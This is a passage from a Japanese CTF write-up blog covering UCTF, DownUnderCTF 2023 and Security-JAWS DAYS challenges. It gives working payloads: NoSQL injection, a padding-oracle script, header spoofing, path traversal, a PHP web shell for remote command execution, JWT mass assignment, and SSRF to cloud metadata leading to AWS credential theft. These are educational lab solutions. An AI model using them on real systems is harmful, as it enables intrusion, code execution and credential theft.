    r = re.search(r'<img src="([0-9[A-F]+\.jpeg)">\s*<img src="([0-9[A-F]+\.jpeg)">', t)
    img1 = r[1]
    img2 = r[2]

[Web] MongoDB NoSQL Injection

MongoDB Injectionができるらしいサイトが与えられる。
ソースコードは無い。
ログインページをまずは突破する。
色々試すと、以下のような$neで突破可能。

POST /login HTTP/2
Host: cp.uctf.ir
Cookie: ssid=s%3Aa75c57de-ed3c-4eb1-b795-bbc2a9f178dc.qcheCIEffGtOrDN6YbYgLKX4nJ4URy%2FUbBfaYKxrkPA; ba07499ab750e5460403c776a406d8aa=d103ff7eb8dbfa2365a1f545a1eee34f
Content-Length: 49
Content-Type: application/json

{"username":{"$ne": "x"},"password":{"$ne": "x"}}

GET /homeにリダイレクトされるが、ユーザー検索ができる画面が与えられる。
手元のpayloadを適当に試すと、'; return true; var d='で条件式を恒真にできてユーザーリストが手に入る。
そこにフラグもあった。

[Web] Padding Oracle Adventure

Padding Oracle攻撃をする問題らしい。
以下Padding Oracle攻撃自体の説明はしない。
より詳解している所で学習することを勧める。

hint 1: login page grants access to a user with the credentials "guest" for both the username and password.

guest:guestでログイン可能らしいので、ログインする。
cookieを見るとtoken=fo39v%2FbeY1IAAZZpwmHSIpJmRYL0z%2BjmRL8P6g7pWgLeIuxvjxSoOA2cAZQRmNtNとなっている。
変なtokenを提出してみるとerror:1C800064:Provider routines::bad decryptと言われる。良さそう。

hint 2: token structure: {"user": ""}

ということで、今回のcookie{"user": "guest"}になっているということ?
guest:guestでログインした後の画面に

In order to escape from matrix you sould become Top-G
in other words you should login as topg

とあるので{"user": "topg"}を作ればよさそう。
ブロックサイズが16とすると、{"user": "topg"}は15bytesなので、パディングを入れると{"user": "topg"}\01のようになるはず。
tokenのサイズを見ると、48bytesなので、どんな感じに入っているかは分からないが、32bytesで足りそうではあるので先頭にIVがくっついているんだろう。 よって、token = [IV 16bytes] + [enc1 16bytes] + [enc2 16bytes]になっているはず。
今回作りたい{"user": "topg"}\01は16bytes分の1block分で事足りるので、tokenの末尾16bytesを削っておき、検証に利用する事にする。
Padding Oracle攻撃を単純に適用すればいい問題なので後は実装を頑張る。

from tqdm import tqdm
import struct
from Crypto.Util.strxor import *
import binascii
import base64
import requests
import urllib.parse

BASE_URL = 'https://matrix.uctf.ir'

def check(c): # bytes -> bool
    c = base64.b64encode(c)
    c = urllib.parse.quote(c)

    t = requests.get(BASE_URL + '/profile', cookies={
        'a07680ed6e93df92c495eaba7ddfe23b': 'eb81b14c5e5d7d24307dfde6d29f57d1',
        'token': c}).text
    
    ret = 'error:1C800064:Provider routines::bad decrypt' not in t
    return ret

def rewrite(enc, aim, bsize):
    assert len(enc) % bsize == 0
    
    num_block = len(enc) // bsize
    for i in range(num_block):
        print(b'[block ' + str(i + 1).encode() + b'] ' + enc[i*bsize:(i+1)*bsize])

    num_aim_block = len(aim) // bsize

    res = enc[(num_block - 1)*bsize:num_block*bsize]
    curr_block = enc[(num_block - 1)*bsize:num_block*bsize]
    for idx_block in range(num_aim_block):
        dec = b''
        for i in tqdm(range(bsize)):
            for j in tqdm(range(256)):
                payload = b'\x00' * (bsize - i - 1 + (num_block - 2 - idx_block)*bsize) + struct.pack("B", j) + strxor(struct.pack("B", i + 1) * i, dec) + curr_block
                if check(payload):
                    dec = strxor(struct.pack("B", i + 1), struct.pack("B", j)) + dec
                    break
            assert len(dec) == i + 1
        curr_block = strxor(aim[(num_aim_block - 1 - idx_block)*bsize:(num_aim_block - idx_block)*bsize], dec)
        res = curr_block + res
    res = enc[0:(num_block - (num_aim_block + 1))*bsize] + res
    return res

enc = 'fo39v/beY1IAAZZpwmHSIpJmRYL0z+jmRL8P6g7pWgI='
enc = base64.b64decode(enc)
res = rewrite(enc, b'{"user":"topg"}\x01', 16)
res = base64.b64encode(res)
print(res)

こうしてできたtokenをcookieに入れてGET /profileするとフラグが得られる。

[Forensics] HTTPS Decryption

HTTPS通信と復号に必要なmaster keyが渡される。
Wiresharkで設定を開いて、Protocols > TLS > (Pre)-Master-Secret log filenameにmaster_keys.logを入れると平文になる。
tls and (http or http2)でフィルタするとHTTPS通信の中身が取れてくるので、流し見るとフラグが書いてある。

[Forensics] Network Punk

良く分からないTCP通信が記録されているので、TCPストリーム表示にして眺めると、ストリーム8にAAが記録されていて、フラグが書いてあった。

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ @@@@@@  @@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@  @@@@@@@@@@@@@@@@@@@@    @@@@ @@@@@@@@@@@@@@@@    @@@@@@@@@@@ @@@@  @@@@
@@@@@@@@@@@@@@@@@@@@@@ @@@@@  @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@ @@@@ @@@@@@@@@@@@@@@@ @@ @@@@@@@@@@@ @@@@@  @@@
@@@@@@ @@ @@@@    @@@    @@@   @@@@@ @@@ @@ @@@@   @@@@       @@@@@@ @@@@@@    @@@@@@@@@@@     @@@@@@@ @@@@   @@@ @@  @ @@@  @@ @@@@   @@@@ @  @@  @@@
@@@@@@ @@ @@@@ @@@@@@@ @@@@@  @@@@@  @@@ @@ @@@@  @@@@@ @@ @@ @@@@@@ @@@@@@ @  @@@@@@@@@@@  @@ @@@@@   @@@@ @@@@@@      @@@  @@ @@@@ @@@@@@   @@@  @@@
@@@@@@ @@ @@@@ @@@@@@@ @@@@@  @@@@   @@@ @@ @@@@ @@@@@@ @@ @@ @@@@@@ @@@@@      @@@@@@@@@@  @@ @@@@@@@ @@@@ @@@@@@  @  @@@@  @@ @@@@ @@@@@@  @@@@   @@
@@@@@@ @@ @@@@  @@@@@@ @@@@@  @@@@@@ @@@ @@ @@@@ @@@@@@ @@ @@ @@@@@@ @@@@@@@@  @@@@@@@@@@@  @@ @@@@@@@ @@@@  @@@@@  @  @@@@@ @@ @@@@ @@@@@@   @@@  @@@
@@@@@@    @@@@@   @@@@   @@@  @@@@@@ @@@    @@@@ @@@@@@ @@ @@ @@@@     @@@@@@  @@@@@@@@@@@  @@ @@@@    @@@@   @@@@  @  @@@@@    @@@@ @@@@@@ @  @@  @@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

[Forensics] Hidden Streams

vhdファイルが与えられる。Autopsyで開いて解析させる。
すると、flag.zipというのがあり、そのADSとしてlookbehindというのが格納されている。
"Hidden Stream"はADSのことだった。

flag.zipにはpassword:Atoosaとあり、lookbehindは暗号化zipだったので、
lookbehindを持ってきて指定のパスワードで解凍するとフラグが手に入る。

[Forensics] Deleted Message

androidのデータパーティションのダンプが渡される。
SMSの内容を復元するのが目的。

SMSのフォレンジックについて解説している所が無いか探すと以下のサイトが見つかる。
https://www.magnetforensics.com/blog/android-messaging-forensics-sms-mms-and-beyond/
ここにあるアーティファクトを順番に確認すると、bugle_dbにフラグがあった。
data/user/0/com.android.messaging/databases/bugle_dbをsqlitebrowserで開き、partsテーブルにフラグが書いてある。

[Steganography] Dorna

jpeg画像が与えられる。

if you need a password anywhere use this "urumdorn4"

というヒントがあるのでパスワードを使って抽出する系のステガノツールを試すと
steghideでファイルが抽出でき、フラグも書いてある。

$ steghide extract -sf dorna.jpg -p urumdorn4 -xf out
wrote extracted data to "out".

$ file *
dorna.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 720x480, components 3
out:       ASCII text

$ cat out
Hello, wish you success in our event

'dorna lar yovasi' is the nickname of a stadium in Urmia where volleyball lovers gather together.
This place has hosted important competitions such as the VNL and the Asian Championship.     

flag : uctf{ZG9ybmFfbGFyX3lvdmFzaQ==}    *base64-encoded

$ echo 'ZG9ybmFfbGFyX3lvdmFzaQ==' | base64 -d
dorna_lar_yovasi

[Steganography] Deb File | The Old Systems

debファイルが与えられる。
7zipで解凍できないかなーとやってみるとできる。
一通り解凍するとこんな感じ。

$ file *
control:           ASCII text
control.tar:       POSIX tar archive (GNU)
control.tar.gz:    gzip compressed data, from Unix, original size modulo 2^32 10240
data.tar:          POSIX tar archive (GNU)
data.tar.gz:       gzip compressed data, from Unix, original size modulo 2^32 10240
debian-binary:     ASCII text
postinst:          Bourne-Again shell script, ASCII text executable
uctfdeb-0.0.1.deb: Debian binary package (format 2.0), with control.tar.gz, data compression gz
usr:               directory

postinstというファイルにフラグが書いてあった。

$ cat postinst 
#!/usr/bin/env bash

# Create folder
if [ ! -d "/tmp/UCTFDEB" ]; then
        mkdir "/tmp/UCTFDEB"
fi

# Move the flag
echo 'UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}' > /tmp/UCTFDEB/dont-delete-me

DownUnderCTF 2023 Writeups

[web] proxed

ソースコードが与えられるので、まずはソースコードを読んでみよう。
まず、Dockerfileを読むと、golangで書かれているくらいしか情報量がない。
go.modも気になる情報はない。
main.goを読んでいく。
ものすごい簡潔なソースコードでありがたい。

package main

import (
    "flag"
    "fmt"
    "log"
    "net/http"
    "os"
    "strings"
)

var (
    port = flag.Int("port", 8081, "The port to listen on")
)

func main() {

    flag.Parse()

    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        xff := r.Header.Values("X-Forwarded-For")

        ip := strings.Split(r.RemoteAddr, ":")[0]

        if xff != nil {
            ips := strings.Split(xff[len(xff)-1], ", ")
            ip = ips[len(ips)-1]
            ip = strings.TrimSpace(ip)
        }

        if ip != "31.33.33.7" {
            message := fmt.Sprintf("untrusted IP: %s", ip)
            http.Error(w, message, http.StatusForbidden)
            return
        } else {
            w.Write([]byte(os.Getenv("FLAG")))
        }
    })

    log.Printf("Listening on port %d", *port)
    log.Fatal(http.ListenAndServe(fmt.Sprintf(":%d", *port), nil))
}

内容としてはIPアドレス31.33.33.7であればフラグがもらえる。
どうやってIPアドレスを確認しているかというと、
xff := r.Header.Values("X-Forwarded-For")
の部分で、つまり、GETリクエストのリクエストヘッダーとしてX-Forwarded-For: 31.33.33.7を追加すればいい。

リクエストヘッダーの追加をブラウザのみでやるのは面倒なので、以下のような手段で頑張る。
どれを使ってもいいが、Burp Suiteで自分はいつもやってる。

  • Burp Suiteのようなプロキシツールを使う
  • PostmanみたいなHTTPリクエストが便利に叩けるツールを使う
  • curlみたいなCLIベースの色々追加できるツールを使う

Burp Suiteを使ったとすると、普通に組み込みのChroniumブラウザで開くとリクエストは以下のように記録される。

GET / HTTP/1.1
Host: proxed.duc.tf:30019
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 [編集済み]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

このリクエストをRepeaterに送って、ヘッダーを追加して送るとフラグがもらえる。

GET / HTTP/1.1
Host: proxed.duc.tf:30019
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
X-Forwarded-For: 31.33.33.7

[web] static file server

/flag.txtを取得するのが目的の問題。
ソースコードも与えられていて、メインの部分は以下だけ。

app = web.Application()
app.add_routes([
    web.get('/', index),

    # this is handled by https://github.com/aio-libs/aiohttp/blob/v3.8.5/aiohttp/web_urldispatcher.py#L654-L690
    web.static('/files', './files', follow_symlinks=True)
])
web.run_app(app)

/filesエンドポイントでファイルが取得できる。
明白に脆弱な所はなさそうだが、とりあえずパストラバーサルを以下のように試すとフラグがもらえた。
aiohttpのweb.staticはパストラバーサルに対して脆弱なようだ。

GET /files/../../flag.txt HTTP/2
Host: web-static-file-server-9af22c2b5640.2023.ductf.dev

[web] xxd-server

/flagを読み取る問題。
ソースコードが与えられているので読む。
ファイルをアップロードすると、xxdコマンドのような形でhexを返してくれるサイトが与えられる。
以下、POST時のロジック。

if (isset($_FILES['file-upload'])) {
    $upload_dir = 'uploads/' . bin2hex(random_bytes(8));
    $upload_path = $upload_dir . '/' . basename($_FILES['file-upload']['name']);
    mkdir($upload_dir);
    $upload_contents = xxd(file_get_contents($_FILES['file-upload']['tmp_name']));
    if (file_put_contents($upload_path, $upload_contents)) {
        $message = 'Your file has been uploaded. Click <a href="' . htmlspecialchars($upload_path) . '">here</a> to view';
    } else {
        $message = 'File upload failed.';
    }
}

/uploads/[ランダムな8bytesのhex]/[アップロードファイル名]のような感じで配置される。
アップロードファイル名はパストラバーサル対策しかされてないので、evil.phpみたいなものを配置すればphpが実行可能。
問題はxxd関数の処理。

// Emulate the behavior of command line 'xxd' tool
function xxd(string $s): string {
    $out = '';
    $ctr = 0;
    foreach (str_split($s, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
        }
        $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
        $ctr += 16;
    }
    return $out;
}

それほど細かく理解する必要はなく、出力結果から仕様を理解してもいい。
xxd関数でxxdのような出力を作っていて、16文字毎にhexに変換されている。
16文字を超えると、改行などが入って面倒なことになるので、16文字でいい感じのPHPコードが作れればいいが、それは実現可能。

<?=`$_GET[0]`;?>

これでRCEができるようになるので、/uploads/6d8ec737e2b4a4c3/a.php?0=cat%20/flagみたいにやればフラグ獲得。

[misc] helpless

指定のsshにつなぐと、pythonのhelp()が起動した状態で起動する。
ここから/home/ductf/flag.txtを読む問題。

こういう特定制約下にある環境から抜け出して色々頑張る問題をjail問題とか言ったりするが、
過去のそういう問題で使われたテクを使うと解けた。

まず、それほど大きくないコンソールでsshでつなげる。
次にhelp> strを実行。(help>は既にかいてあるのでstrを実行)
すると、strの中身が表示されるが、この時現在のコンソールに表示し切れない量の出力がされると、
Pagerのような画面が起動する。
これは実際はlessコマンドが実行されていて、このlessコマンドが悪用可能となる。
:e /home/ductf/flag.txtとすると任意のファイルを読み出すことができフラグが得られる。

[web] actually-proxed

全然気が付かず時間を溶かしてしまった。

proxy/main.goにリクエストが行き、ヘッダーを確認して、x-forwarded-forがあれば末尾にクライアントIPをつけて(プロキシが通常やるように)
secret_server/main.goにリクエストを飛ばす。secret_serverの方ではx-forwarded-forにある最後のIPが31.33.33.7であるかを確認している。
論点はヘッダーの処理だけなので、そのあたりのソースを抜粋する。

proxy/main.go

    for i, v := range headers {
        if strings.ToLower(v[0]) == "x-forwarded-for" {
            headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP)
            break
        }
    }

secret_server/main.go

        xff := r.Header.Values("X-Forwarded-For")

        ip := strings.Split(r.RemoteAddr, ":")[0]

        if xff != nil {
            ips := strings.Split(xff[len(xff)-1], ", ")
            ip = ips[len(ips)-1]
            ip = strings.TrimSpace(ip)
        }

        // 1337 hax0rz 0nly!
        if ip != "31.33.33.7" {
            message := fmt.Sprintf("untrusted IP: %s", ip)
            http.Error(w, message, http.StatusForbidden)
            return
        } else {
            w.Write([]byte(os.Getenv("FLAG")))
        }

読んでToLowerとかの結果に差が出るのか?とかUnicodeか?とかやっている間に100solvesを超えてしまい、
最安の問題が400solvesとかなのにさすがに難しすぎるということで、適当にヘッダーをガチャガチャやっているとフラグが出てきた。

GET / HTTP/1.1
Host: actually.proxed.duc.tf:30009
Connection: close
X-Forwarded-For: 31.33.33.7
X-Forwarded-For: 31.33.33.7

これでフラグが出てくる。
proxy側で全部処理してる…と思っていたがbreakを見逃していた(!?)
ということで、proxy側では最初のX-Forwarded-Forしか処理しないが、secret_server側では最後のX-Forwarded-Forが使用されるので、
このあたりの仕様の違いを利用すればフラグが得られるという問題。

[web] grades_grades_grades

最終的には先生ユーザーを作って/grades_flagにアクセスすればフラグが得られる。
先生かどうかの判定は以下のようにやっていて、is_teacherがTrueである必要がある。

def is_teacher_role():
    # if user isn't authed at all
    if 'auth_token' not in request.cookies:
        return False
    token = request.cookies.get('auth_token')
    try:
        data = decode_token(token)
        if data.get('is_teacher', False):
            return True
    except jwt.DecodeError:
        return False
    return False 

以下のように通常の(生徒の)ユーザーは作れる。

@api.route('/signup', methods=('POST', 'GET'))
def signup():

...

    # get form data
    if request.method == 'POST':
        jwt_data = request.form.to_dict()
        jwt_cookie = current_app.auth.create_token(jwt_data)
        if is_teacher_role():
            response = make_response(redirect(url_for('api.index', is_auth=True, is_teacher_role=True)))
        else:
            response = make_response(redirect(url_for('api.index', is_auth=True)))
        
        response.set_cookie('auth_token', jwt_cookie, httponly=True)
        return response

    return render_template('signup.html')

JWTはHS256で署名されてて、攻撃可能な部分は見当たらない。
問題があるのは呼び出し側の方でcurrent_app.auth.create_token(jwt_data)という風に作成をしているが、
jwt_dataはjwt_data = request.form.to_dict()のように外部入力をそのまま入れ込んでいる。
よって、通常はPOST /signup

stu_num=test&stu_email=test%40example.com&password=test

のように入力を入れるが、

stu_num=test&stu_email=test%40example.com&password=test&is_teacher=true

のように入れることで意図せぬ項目を入れ込むことができる。
これで先生アカウントが作れたのでこれを使ってGET /grades_flagするとフラグ獲得。

[web] cgi fridays

   if ($page =~ /^stat|io|maps$/) {
        return HTDOCS . '/pages/denied.txt' unless $remote_addr eq '127.0.0.1';
        return "/proc/self/$page";
    }

ここが脆弱なポイント。
正規表現/^stat|io|maps$/はうまく動いていそうに見えるが、^statiomaps$のorになっている。
よって1番目の条件を使うと先頭がstatならなんでも通ってしまう。
これにより、その後の"/proc/self/$page"に対してstat/../../../flag.txtとするとパストラバーサル可能。

残った問題はその前のremote_addr条件の回避である。
呼び出し時にmy $file_path = route_request($q->param('page'), $ENV{'REMOTE_ADDR'});のようにREMOTE_ADDRを持ってきて、
関数先でmy ($page, $remote_addr) = @_;のように取得して使っている。
猛烈ググったが何も出てこない…solvesが60を超えてきたので、単純な何かを見逃していそうな雰囲気がある。
と思って、色々試すと以下のように回避できた。
GET /?page=stat&page=127.0.0.1
恐らくだが、引数を渡すときに配列を渡すと分解されて引数をねじ込むことができるのだろう。
とにかく、GET /?page=stat&page=127.0.0.1のようにすると、remote_addr判定が回避可能。

組み合わせると、GET /?page=stat/../../../flag.txt&page=127.0.0.1なのだが、うまくいかない。
あれっと思ってコンテナ内部でcat /proc/self/stat/../../../flag.txtをやってみるとエラーになる。
だがcat /proc/self/../../flag.txtは動く。
存在するフォルダを置かないといけないっぽい。
そうなると正規表現のioのマッチング部分をうまく使ってパスにioを含ませながらflag.txtへ行けばよさそう。

chatgptでコマンドを作ってもらい、find / -type d -name "*io*"で探すと使えそうなものが見つかる。
たくさん見つかるが/usr/include/linux/iioを使った。
cat /proc/self/../../usr/include/linux/iio/../../../../flag.txtがちゃんと動く。
ということでGET /?page=../../usr/include/linux/iio/../../../../flag.txt&page=127.0.0.1でフラグ獲得

Intigriti XSS Challenge Writeupまとめ

Monthly Challenges - Intigritiで開催されてる問題に対するWriteup記事をただまとめたもの。
過去のWriteup記事は復習したら書く。復習したら書くと思うが、復習のやる気がいつ起きるかは不明。
時間がたつとTwitterで記事を探すのが大変になるので、見つけた時点で雑多に置いておくことにした。

Security-JAWS DAYS CTF Writeups

[Hard] AWS Pentesting Journey

まず、nginx.confを見ると以下の箇所でいつものパストラバーサルがある。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb

        location /assets {
                alias /usr/share/static/;
        }

これを利用して以下のように/usr/share/secret/.htpasswdを取ってくる。

GET /assets../secret/.htpasswd HTTP/1.1
Host: apjweb.scjdaysctf2023.net
Connection: close

sjctf@dmin:$apr1$eGvegZM6$GeFQvXGEl/hRtY2SkqePY.と得られる。
johnでクラックしてみるとクラックできてパスワードが得られる。
password (sjctf@dmin)
この認証情報で/admin/に入れる。
phpMyAdminが動いているが何か面白そうなものは得られない。

                location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ {
                        proxy_pass http://$proxy_host/$proxy_path;
                        proxy_set_header Host $proxy_host;
                }

なんかSSRFできそうな雰囲気があり、調べるとSSRFできる。
https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
よって
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/
みたいにしてみると、いつもの出力が得られるので巡回する。

http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
ここを見ると認証情報が得られる。

            "AccessKeyId" : "[REDACTED]",
            "SecretAccessKey" : "[REDACTED]",
            "Token" : "[REDACTED]",

これを以下のように入れて、

[ctf-hard-aws-pentesting-journey]
aws_access_key_id = [REDACTED]
aws_secret_access_key = [REDACTED]
aws_session_token = [REDACTED]

色々巡回すると、S3に面白そうなファイルが置いてある。

$ aws s3 ls --profile ctf-hard-aws-pentesting-journey
2023-08-13 23:13:07 backup-37szjp8pny7xx01
2023-08-26 22:43:13 camouflagedrop-wxhqft4lqf-assets-wxhqft4lqf-assets
2023-08-26 22:39:22 camouflagedrop-wxhqft4lqf-web-wxhqft4lqf-static
2023-08-22 20:16:14 cdk-hnb659fds-assets-055450064556-ap-northeast-1
2023-08-25 03:05:46 file-storage-afeffefespntbaiw7o5
2023-08-06 21:55:59 himituno-bucket1
2023-08-06 21:58:33 himituno-bucket2
2023-08-06 23:08:46 himituno-bucket3
2023-08-27 02:41:30 my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf
2023-08-22 20:56:47 s3misssignurl-t6j4qj4r-assets-t6j4qj4r-assets-bucket
2023-08-22 20:52:31 s3misssignurl-t6j4qj4r-web-t6j4qj4r-static-host-bucket
2023-08-24 04:24:09 totemo-kawaii-neko-no-namae-ha-lise-desu
2023-08-27 01:18:59 ulxmhiw3jroec7sclynr06fkvhqssf

$ aws s3 ls s3://backup-37szjp8pny7xx01 --profile ctf-hard-aws-pentesting-journey
                           PRE dbbackup/
2023-08-14 03:02:43         99 dboperator_accessKeys.csv

$ aws s3 cp s3://backup-37szjp8pny7xx01 . --profile ctf-hard-aws-pentesting-journey --recursive

何やら大切そうなデータが見つかる。
別のDBオペレータのアクセスキーが入っている。

$ aws configure --profile ctf-hard-aws-pentesting-journey-dboperator
AWS Access Key ID [None]: [REDACTED]
AWS Secret Access Key [None]: [REDACTED]
Default region name [None]: ap-northeast-1
Default output format [None]:

$ aws sts get-caller-identity --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "UserId": "[REDACTED]",
    "Account": "[REDACTED]",
    "Arn": "arn:aws:iam::055450064556:user/dboperator"
}

$ aws iam list-attached-user-policies --user-name dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "AttachedPolicies": [
        {
            "PolicyName": "dboperator",
            "PolicyArn": "arn:aws:iam::055450064556:policy/dboperator"
        }
    ]
}

$ aws iam get-policy --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "Policy": {
        "PolicyName": "dboperator",
        "PolicyId": "[REDACTED]",
        "Arn": "arn:aws:iam::055450064556:policy/dboperator",
        "Path": "/",
        "DefaultVersionId": "v6",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-13T18:18:19+00:00",
        "UpdateDate": "2023-08-13T18:57:09+00:00",
        "Tags": []
    }
}

$ aws iam get-policy-version --version-id v6 --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "lambda:List*",
                        "lambda:GetFunction",
                        "lambda:InvokeFunction"
                    ],
                    "Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:Get*",
                        "iam:List*"
                    ],
                    "Resource": [
                        "arn:aws:iam::055450064556:policy/dboperator",
                        "arn:aws:iam::055450064556:user/dboperator"
                    ]
                }
            ]
        },
        "VersionId": "v6",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-13T18:57:09+00:00"
    }
}

$ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator

"Location": "[REDACTED]"

lambdaの関数が参照可能。DBバックアップのために実行しているlambdaのスクリプトっぽい…が何もない。
バージョンを見てみると、複数バージョンあった。

$ aws lambda list-versions-by-function --function-name 'db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator

"Version": "1",
"Version": "2",

$ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator --qualifier 1
...
"Location": "[REDACTED]"

古いバージョンのコードが取得でき、こちらでは認証情報がそのまま格納されていた。
これを使って、phpmyadminに入るとフラグが入ったsecretdataというデータベースが見つかる。